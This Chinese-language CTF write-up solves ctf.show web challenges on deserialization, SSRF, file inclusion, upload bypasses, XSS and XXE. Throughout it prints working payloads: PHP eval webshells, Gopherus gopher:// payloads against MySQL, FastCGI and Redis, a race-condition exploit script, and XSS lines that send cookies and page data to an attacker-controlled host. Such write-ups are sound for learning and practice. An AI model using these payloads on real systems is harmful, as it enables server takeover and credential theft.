echo md5(md5('1'.md5(base64_encode("sds")))."sds");

web303

这次对用户名的长度进行了限制,不能超过6。

if(strlen($username)>6){
    die();
}

sds_user.sql 中找到插入账号的语句,得到加密后的密码。

INSERT INTO `sds_user` VALUES ('1', 'admin', '27151b7b1ad51a38ea66b1529cde5ee4');

解是肯定解不出来的,但是在 fun.php 中多了一句输出语句,运行一下正好就是 27151b7b1ad51a38ea66b1529cde5ee4 ,那么密码就是admin,弱口令yyds。

<?php
function sds_decode($str){
    return md5(md5($str.md5(base64_encode("sds")))."sds");
}
echo sds_decode("admin");
?>

登陆成功,进入后台,在 dptadd.php 中,发现了一个很贴心的注释,提醒我们这有输入点。

dpt_name=1',sds_address=(select group_concat(table_name)from information_schema.tables where table_schema=database())#

dpt_name=1',sds_address=(select group_concat(column_name)from information_schema.columns where table_name='sds_fl9g')#

dpt_name=1',sds_address=(select flag from sds_fl9g)#

web304

增加了全局waf,但是好像没加。

function sds_waf($str){
    return preg_match('/[0-9]|[a-z]|-/i', $str);
}

payload同上一题。

web305

增加了waf,注入应该是注入不了了。

function sds_waf($str){
    if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
        return false;
    }else{
        return true;
    }
}

class.php 中发现,函数 file_put_contents 可以实现写文件的操作。

<?php
class user{
    public $username;
    public $password;
    public function __construct($u,$p){
        $this->username=$u;
        $this->password=$p;
    }
    public function __destruct(){
        file_put_contents($this->username, $this->password);
    }
}

然后在 checklogin.php 中找到了反序列化的地方。

$user_cookie = $_COOKIE['user'];
if(isset($user_cookie)){
    $user = unserialize($user_cookie);
}

生成payload:

<?php
class user
{
    public $username = '1.php';
    public $password = "<?php eval(\$_POST['shell']);?>";
}

echo urlencode(serialize(new user()));

修改cookie后访问 checklogin.php 就可以成功写入文件,然后用蚁剑连数据库,数据可以类型选择 mysqli,密码就是root,被文件里面的密码骗了。。。

web306

class.php 中同样存在写文件的操作

class log{
    public $title='log.txt';
    public $info='';
    public function loginfo($info){
        $this->info=$this->info.$info;
    }
    public function close(){
        file_put_contents($this->title, $this->info);
    }
}

login.phpindex.php 中有反序列化的操作

$user = unserialize(base64_decode($_COOKIE['user']));

之后在 dao.php 中找到了 dao 类的 __destruct() 方法调用了close函数,也就是说,如果 $this->conn 是log类的话就可以写文件了。

    public function __destruct(){
        $this->conn->close();
    }

我们想要组合起来利用,就得在 login.phpindex.php 中找到一个包含 dao.php 的文件, index.php 显然合适。

在主页,弱口令admin登不上去了,但是 login.php 多了一个判断,读取cookie反序列化成功的话跳转主页面。cookie添加一个base64编码后的序列化字符串即可。

$user = unserialize(base64_decode($_COOKIE['user']));
if($user){
    header("location:index.php");
}
class user{
    public $username = 'admin';
    public $password = 'admin';
}

echo urlencode(base64_encode(serialize(new user())))

index.php 后,接着修改cookie,然后就将木马上传成功了。

<?php
class log{
    public $title = 'log.php';
    public $info = "<?php eval(\$_POST['shell']);?>";

    public function loginfo($info)
    {
        $this->info = $this->info . $info;
    }

    public function close()
    {
        file_put_contents($this->title, $this->info);
    }
}

class dao{
    private $config = 'abc';
    private $conn;

    public function __construct()
    {
        $this->conn = new log();
    }
}

$a = new dao();
echo urlencode(base64_encode(serialize($a)));

web307

/controller/service/dao/class.php 下找到 file_put_contents 函数。但是全局搜索了一下,没找到调用 closelog() 函数的地方,显然无法利用这个地方getshell。

class log{
    public $title='log.txt';
    public $info='';
    public function loginfo($info){
        $this->info=$this->info.$info;
    }
    public function closelog(){
        file_put_contents($this->title, $this->info);
    }
}

随后在 /controller/service/dao/dao.php 中的 dao 类找到这个函数,如果参数我们能控制的话就能任意执行命令了。

    public function  clearCache(){
        shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
    }

/controller/logout.php 中,从cookie中取出序列化代码,然后反序列化,接着调用 clearCache() ,这样思路就很清晰了。

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $service->clearCache();
}

生成payload,添加到cookie,然后访问 /controller/logout.php ,字符串被反序列化成 dao 类,然后调用了他的 closelog() 函数,执行了 shell_exec('rm -rf ./'.$this->config->cache_dir.'/*'); ,但是参数被我们进行拼接了,就写入了木马文件,蚁剑连上就可以了。

<?php
class dao{
    private $config;
    private $conn;
    public function __construct(){
        $this->config=new config();
    }
}
class config{
    private $mysql_username='root';
    private $mysql_password='phpcj';
    private $mysql_db='sds';
    private $mysql_port=3306;
    private $mysql_host='localhost';
    public $cache_dir = ';echo  "<?php eval(\$_POST["shell"]);?>" >a.php;';
}
echo base64_encode(serialize(new dao()));

web308

dao.php 中的命令执行处,新增了一个过滤,只能输入字母才会执行命令,显然是不能拼接命令执行了。

    public function  clearCache(){
        if(preg_match('/^[a-z]+$/i', $this->config->cache_dir)){
            shell_exec('rm -rf ./'.$this->config->cache_dir.'/*');
        }
    }

/controller/service/util/fun.php 中找到一处ssrf利用点,全局搜索找一下执行该函数的地方。

function checkUpdate($url){
        $ch=curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_HEADER, false);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
        $res = curl_exec($ch);
        curl_close($ch);
        return $res;
    }

只有 /controller/service/dao/dao.php 里面调用了该函数,那就得想办法控制 $this->config->update_url 的值然后调用该函数了。

    public function checkVersion(){
        return checkUpdate($this->config->update_url);
    }

随后在 index.php 中找到一处先反序列化,然后调用 checkVersion() 的地方,完美!

$service = unserialize(base64_decode($_COOKIE['service']));
if($service){
    $lastVersion=$service->checkVersion();
}

使用Gopherus生成payload。

<?php
class dao{
    private $config;
    private $conn;
    public function __construct(){
        $this->config = new config();
    }
}

class config{
    private $mysql_username = 'root';
    private $mysql_password = '';
    private $mysql_db = 'sds';
    private $mysql_port = 3306;
    private $mysql_host = 'localhost';
    public $cache_dir = 'cache';
    public $update_url = 'gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%51%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%22%73%68%65%6c%6c%22%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%01%00%00%00%01';
}

echo base64_encode(serialize(new dao()));

web309

这次mysql有密码了,打FastCGI

# python gopherus.py --exploit fastcgi


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

Give one file name which should be surely present in the server (prefer .php file)
if you don't know press ENTER we have default one:  index.php
Terminal command to run:  cat fl*

Your gopher link is ready to do SSRF:

gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20fl%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00

poc:

<?php
class dao{
    private $config;
    private $conn;
    public function __construct(){
        $this->config = new config();
    }
}

class config{
    private $mysql_username = 'root';
    private $mysql_password = '';
    private $mysql_db = 'sds';
    private $mysql_port = 3306;
    private $mysql_host = 'localhost';
    public $cache_dir = 'cache';
    public $update_url = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20fl%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00';
}

echo base64_encode(serialize(new dao()));

web310

读取 /etc/nginx/nginx.conf 文件,发现如下关键信息。

```nginx.conf
server {
listen 4476;
server_name localhost;
root /var/flag;
index index.html;

<pre><code> proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}
</code></pre>

<pre><code class="">poc:
```php
<?php
class dao{
private $config;
private $conn;
public function __construct(){
$this->config = new config();
}
}

class config{
private $mysql_username = 'root';
private $mysql_password = '';
private $mysql_db = 'sds';
private $mysql_port = 3306;
private $mysql_host = 'localhost';
public $cache_dir = 'cache';
public $update_url = 'http://127.0.0.1:4476';
}

echo base64_encode(serialize(new dao()));

0x05 SSRF

web351

curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。


curl_init():初始curl会话
curl_setopt():会话设置
curl_exec():执行curl会话,获取内容
curl_close():会话关闭

传入一个参数,然后用 curl_init(url) 初始化一个新的会话,接着用curl_exec 执行一个cURL会话。

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
?>

由于flag.php只能本地访问,所以我们就可以传入参数的值为 127.0.0.1/flag.php ,就可以返回 flag.php 的内容了。

web352

开始对我们的输入进行过滤了,限定了请求的协议,还把 localhost|127.0.0 给ban了。

 <?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
    die('hacker');
}
}
else{
    die('hacker');
}
?>

parse_url — 解析 URL,返回其组成部分
本函数解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。
本函数不是用来验证给定 URL 的合法性的,只是将其分解为下面列出的部分。不完整的 URL 也被接受,parse_url() 会尝试尽量正确地将其解析。

也就是说我们可以传入一个不完整的url来绕过正则检测,而且 127.1 也会被解析为 127.0.0.1

传入 url=http://127.1/flag.php 即可。

web353

把127给过滤了。

if(!preg_match('/localhost|127\.0\.|\。/i', $url))

在Linux下,0 也会被解析为 127.0.0.1

payload : url=http://0/flag.php

web354

01 都被过滤了。

if(!preg_match('/localhost|1|0|。/i', $url))

可以使用302跳转

<?php
header("Location: http://127.0.0.1/flag.php");

http://sudo.cc这个域名是解析到127.0.0.1 的,传入 url=http://sudo.cc/flag.php 即可。

web355

限制了主机名的长度。

$host=$x['host'];
if((strlen($host)<=5))

url=http://0/flag.php

web356

限制主机名长度为3。

if((strlen($host)<=3))

url=http://0/flag.php

web357

<?php
error_reporting(0);
highlight_file(__FILE__);
$url = $_POST['url'];
$x = parse_url($url);
if ($x['scheme'] === 'http' || $x['scheme'] === 'https') {
    $ip = gethostbyname($x['host']);
    echo '</br>' . $ip . '</br>';
    if (!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
        die('ip!');
    }
    echo file_get_contents($_POST['url']);
} else {
    die('scheme');
}
?>

使用过滤器来过滤了主机名

filter_var() 函数通过指定的过滤器过滤变量
FILTER_VALIDATE_IP - 把值作为 IP 地址来验证。
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

在自己的服务器上写一个PHP文件

<?php
header("Location:http://127.0.0.1/flag.php");

传参 url=http://url/302.php 即可。

web358

这下限制了我们的输入格式。以 http: 开头,包含 ctf. ,以 show 结尾。

<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
    echo file_get_contents($url);
}

当parse_url()解析到邮箱时:@前面是user
file_get_contents()会访问host:port/path,与user无关

payload: http://ctf.@127.0.0.1/flag.php?show

web359

使用Gopherus生成payload。

# python gopherus.py  --exploit mysql


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$

For making it work username should not be password protected!!!

Give MySQL username: root
Give query to execute: select '<?php eval($_POST["shell"]); ?>' into outfile "/var/www/html/shell.php";

Your gopher link is ready to do SSRF :

gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%51%00%00%00%03%73%65%6c%65%63%74%20%27%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%22%73%68%65%6c%6c%22%5d%29%3b%20%3f%3e%27%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%22%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%73%68%65%6c%6c%2e%70%68%70%22%3b%01%00%00%00%01

在表单出找到一个隐藏的输入框,将payload传入,登录,就将一句话木马写入了。

web360

还是可以用Gopherus生成payload,url编码一下传入就行了。

root@LAPTOP-38PB7CLU:/mnt/e/ctf/web/Gopherus# python gopherus.py  --exploit redis


  ________              .__
 /  _____/  ____ ______ |  |__   ___________ __ __  ______
/   \  ___ /  _ \\____ \|  |  \_/ __ \_  __ \  |  \/  ___/
\    \_\  (  <_> )  |_> >   Y  \  ___/|  | \/  |  /\___ \
 \______  /\____/|   __/|___|  /\___  >__|  |____//____  >
        \/       |__|        \/     \/                 \/

                author: $_SpyD3r_$


Ready To get SHELL

What do you want?? (ReverseShell/PHPShell): PHPShell

Give web root location of server (default is /var/www/html):
Give PHP Payload (We have default PHP Shell): <?php eval($_POST["shell"]); ?>

Your gopher link is Ready to get PHP Shell:

gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2435%0D%0A%0A%0A%3C%3Fphp%20eval%28%24_POST%5B%22shell%22%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

When it's done you can get PHP Shell in /shell.php at the server with `cmd` as parmeter.

0x06 文件包含

文件包含函数
PHP中文件包含函数有以下四种:
 require()
 require_once()
 include()
 include_once()

常见的敏感信息路径:

Windows系统
 c:\boot.ini // 查看系统版本
 c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
 c:\windows\repair\sam // 存储Windows系统初次安装的密码
 c:\ProgramFiles\mysql\my.ini // MySQL配置
 c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
 c:\windows\php.ini // php 配置信息

Linux/Unix系统
 /etc/passwd // 账户信息
 /etc/shadow // 账户密码文件
 /usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
 /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
 /usr/local/app/php5/lib/php.ini // PHP相关配置
 /etc/httpd/conf/httpd.conf // Apache配置文件
 /etc/my.conf // mysql 配置文件

web78

读取一个参数,然后执行 include($file);

if(isset($_GET['file'])){
    $file = $_GET['file'];
    include($file);
}else{
    highlight_file(__FILE__);
}

通过filter伪协议读取。
?file=php://filter/convert.base64-encode/resource=flag.php

php://filter(本地磁盘文件进行读取)
元封装器,设计用于”数据流打开”时的”筛选过滤”应用,对本地磁盘文件进行读写。
用法:?filename=php://filter/convert.base64-encode/resource=xxx.php ?filename=php://filter/read=convert.base64-encode/resource=xxx.php 一样。
条件:只是读取,需要开启 allow_url_fopen,不需要开启 allow_url_include;

web79

过滤了php,可以使用data伪协议

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

过滤了php,读取 flag.php 时使用base64来绕过。
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTsgPz4=

data://伪协议
数据流封装器,和php://相似都是利用了流的概念,将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流,通过你输入payload来实现目的

web80

php和data都被过滤了。

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

可以使用远程文件包含,在服务器写入shell.txt,然后传参 file=url/shell.txt 即可。
<?php eval($_POST['shell']); ?>

web81

冒号也被过滤了,也就是说不能远程文件包含了。

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

当我们访问网站时,服务器的日志中都会记录我们的行为,如果我们在UA头写入一句话木马的,就会被写入日志文件。

UA头写入 <?=eval($_POST['shell']); ?>,然后传参 ?file=/var/log/nginx/access.log,post传参 shell=system('ls'); 再获取flag就可以了。

web82

. 也被过滤了,也就是说不能包含带有后缀的文件了,而PHP李没用后缀的文件就只有session文件了。利用PHP_SESSION_UPLOAD_PROGRESS进行session文件包含和条件竞争。

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    include($file);
}else{
    highlight_file(__FILE__);
}

Session Upload Progress 即 Session 上传进度,是php>=5.4后开始添加的一个特性。PHP 能够在每一个文件上传时监测上传进度。这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态。
通过 PHP_SESSION_UPLOAD_PROGRESS 在目标主机上创建一个含有恶意代码的Session文件,之后利用文件包含漏洞去包含这个我们已经传入恶意代码的这个Session文件就可以达到攻击效果。

通过 PHP_SESSION_UPLOAD_PROGRESS 不断写入一句话木马到session中,然后包含这个session文件,再进行写入操作,将一句话木马写入php文件,就可以getshell了。

import requests
import io
import threading

url = 'http://a2a17a1e-4c25-4ad2-9e17-15c8c07a9b7d.challenge.ctf.show:8080/'
sessionid = 'so4ms'
data = {
    "1": "file_put_contents('/var/www/html/shell.php','<?php eval($_POST[2]);?>');"
}


def write(session):
    fileBytes = io.BytesIO(b'a' * 1024 * 50)
    while True:
        response = session.post \
            (url,
             data={
                 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[1]);?>'
             },
             cookies={
                 'PHPSESSID': sessionid
             },
             files={
                 'file': ('file.jpg', fileBytes)
             }
             )


def read(session):
    while True:
        response = session.post \
            (url + '?file=/tmp/sess_' + sessionid, data=data,
             cookies={
                 'PHPSESSID': sessionid
             }
             )
        resposne2 = session.get(url + 'shell.php')
        if resposne2.status_code == 200:
            print('++++++done++++++')
        else:
            print(resposne2.status_code)


if __name__ == '__main__':
    evnet = threading.Event()
    with requests.session() as session:
        for i in range(10):
            threading.Thread(target=write, args=(session,)).start()
        for i in range(10):
            threading.Thread(target=read, args=(session,)).start()

    evnet.set()

web83、web84、web85、web86

同web82

web87

写入文件时,会先写入 <?php die('大佬别秀了');?> ,执行了这句代码后持续就会直接结束,这里绕过 die 可以通过使用协议流的方法使用base64编码绕过。

if(isset($_GET['file'])){
    $file = $_GET['file'];
    $content = $_POST['content'];
    $file = str_replace("php", "???", $file);
    $file = str_replace("data", "???", $file);
    $file = str_replace(":", "???", $file);
    $file = str_replace(".", "???", $file);
    file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
    highlight_file(__FILE__);
}

?file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2531%252e%2570%2568%2570
content=aaPD9waHAgZXZhbCgkX1BPU1RbMF0pOz8%2B

web88

过滤了很多字符,但是没有过滤掉 data ,可以使用 data:// 伪协议。

if(isset($_GET['file'])){
    $file = $_GET['file'];
    if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
        die("error");
    }
    include($file);
}else{
    highlight_file(__FILE__);
}

base64绕过,由于等号被ban了,所以要把最后的等号删掉。
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmwwZy5waHAnKTsgPz4

web116

打开是一个视频,把视频下载下来,分解出一张图片,是文件包含的源码。

过滤了挺多,但是 file_get_contents($file) ,直接传入 ?file=flag.php

<?php
function filter($x){
    if(preg_match(' /http|https|data|input|rot13|base64|string|log|sess/i ' ,$x)){
        die( 'too young too simple sometimes native!');
    }
}
$file=isset($_GET['file']?$_GET['file']:"sp2.mp4");
header('Content-Type: video/mp4');
filter($file);
echo file_get_contents($file);
?>

web117

过滤了很多编码方式。

<?php
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);

换一种编码绕过。
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]1;)>?

0x07 文件上传

web151

第一题前端验证,图片 jpg|jpeg 都不能上传,写一个一句话木马文件,修改后缀为png,抓包修改后缀即可。

web152

同web151

web153

不光前端对文件格式进行检查,后端也对文件进行了检查。

这里我们可以利用 .user.ini 文件对包含恶意代码的图片文件进行文件包含

.user.ini使用范围很广,不仅限于Apache服务器,同样适用于Nginx服务器,只要服务器启用了fastcgi模式(通常非线程安全模式使用的就是fastcgi模式)。
该配置文件有两个配置条件极其关键:
auto_prepend_file = < filename> // 包含在文件头
auto_append_file = < filename> // 包含在文件尾(遇到exit语句失效)

我们上传一个 .user.ini.png 文件,内容如下,然后抓包修改后缀绕过前端检查。其中GIF89a是告诉系统,根据图形交换格式(GIF)89a版进行格式化,生成图形

GIF89a
auto_prepend_file = shell.png

然后上传图片马文件 shell.png ,然后访问 http://url/upload/index.php 就会包含 shell.png 文件,就能够getshell了。

图片马生成:copy test.png/b+demo.php shell.png

web154

对文件内容进行了检查,过滤了 <xphp,x为任意字符,改一下一句话木马为 <?= evla($_POST['shell']);?> ,然后和上一题一样即可。

web155

同web154

web156

过滤了 [] ,修改一句话为 <?= evla($_POST{'shell'});?>

web157

过滤了分号和php,选择直接输出flag。<?=tac ../fla*?>

web158

同web157

web159

同web157

web160

反引号也被过滤了,尝试使用日志包含,上传.user.ini,shell.png写入<?=include"/var/lo"."g/nginx/access.lo"."g"?>,在上传时UA头写入一句话木马,这样就可以将一句话写入日志文件。然后访问/upload/index.php 就可以getshell了。

web161

shell.png 写入内容如下,其他和之前一样。

GIF89A
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

0x08 XSS

web316

没有过滤,直接打cookie就行了。可以用自己的服务器。python -m http.server 39543 监听端口,接收一下get参数。

<script>location.href='http://ip:39543/'+document.cookie</script>

web317

过滤了 script

<img src='' onerror=location.href='http://ip:39543/'+document.cookie>

web318

img 也过滤了。

<iframe onload=location.href='http://ip:39543/'+document.cookie>

web319

<iframe onload=location.href='http://ip:39543/'+document.cookie>

web320

过滤了空格。
<iframe/**/onload=location.href='http://ip:39543/'+document.cookie>

web321

<iframe/**/onload=location.href='http://ip:39543/'+document.cookie>

web322

<iframe/**/onload=location.href='http://ip:39543/'+document.cookie>

web323

过滤了 iframe

<svg/**/onload=location.href='http://ip:39543/'+document.cookie>

web324

<svg/**/onload=location.href='http://ip:39543/'+document.cookie>

web325

<svg/**/onload=location.href='http://ip:39543/'+document.cookie>

web326

<svg/**/onload=location.href='http://ip:39543/'+document.cookie>

web327

只有当发送方为 admin 时才能发送成功。没过滤,直接打cookie就行。
<svg onload=location.href='http://ip:39543/'+document.cookie>

web328

有注册登录的逻辑,还有个管理员可见的账号密码解密,尝试在注册时用户名插入xss代码。
<script>window.open('http://ip:39543/'+document.cookie)</script>

达到了cookie,但是没有flag,把我们的cookie替换为打到的管理员的cookie,就可以到之前那个界面看到flag了。

web329

逻辑同上一题,但是这次打到的cookie没用,我们可以尝试让其直接发送flag给我们。

通过class直接获取flag,然后发送给我们。
<script>window.open('http://47.108.154.109:39543/'+document.getElementsByClassName('laytable-cell-1-0-1')[1].innerHTML)</script>

web330

这次多了一个修改密码的功能,发现修改密码是通过下面这个url实现的,get传参为要修改的密码。
http://a051f6d3-60ec-4eb6-a573-77c7de804359.challenge.ctf.show:8080/api/change.php?p=111111

我们可以这样构造使得管理员修改密码。
<script>window.open('http://127.0.0.1/api/change.php?p=111111')</script>

web331

这次换post请求了,用ajax发送请求。
<script>$.ajax({url:"http://127.0.0.1/api/change.php", method:"POST", data:{'p':'111111'},cache: false, success: function(res){ }});</script>

web332

发现有个购买flag,请求url为 http://ecf1c042-f5f1-46f6-97ef-e3592530318f.challenge.ctf.show:8080/api/getFlag.php

还有个转账功能,请求url为 http://ecf1c042-f5f1-46f6-97ef-e3592530318f.challenge.ctf.show:8080/api/amount.php,post请求传递参数。

直接给别人转负数钱也可以。

或者这样构造,让管理员给我们转账。
<script>$.ajax({url: "http://127.0.0.1/api/amount.php",method: "POST",data:{'u':'so4ms','a':10000},cache: false,success: function(res){}});</script>

web333

不能转负数钱了。

<script>$.ajax({url: "http://127.0.0.1/api/amount.php",method: "POST",data:{'u':'so4ms','a':10000},cache: false,success: function(res){}});</script>

0x09 XXE

web373

可以读取一个xml类型的文件内容。

<?php
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}

利用DTD在xml文档中插入恶意的payload。

一个外部实体声明
\

<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<So4ms>
<ctfshow>&xxe;</ctfshow>
</So4ms>

0x0a ssti

ssti相关基础知识可以参考这篇文章flask之ssti模版注入从零到入门

__class__            类的一个内置属性,表示实例对象的类。
__base__             类型对象的直接基类
__bases__            类型对象的全部基类,以元组形式,类型的实例通常没有属性 __bases__
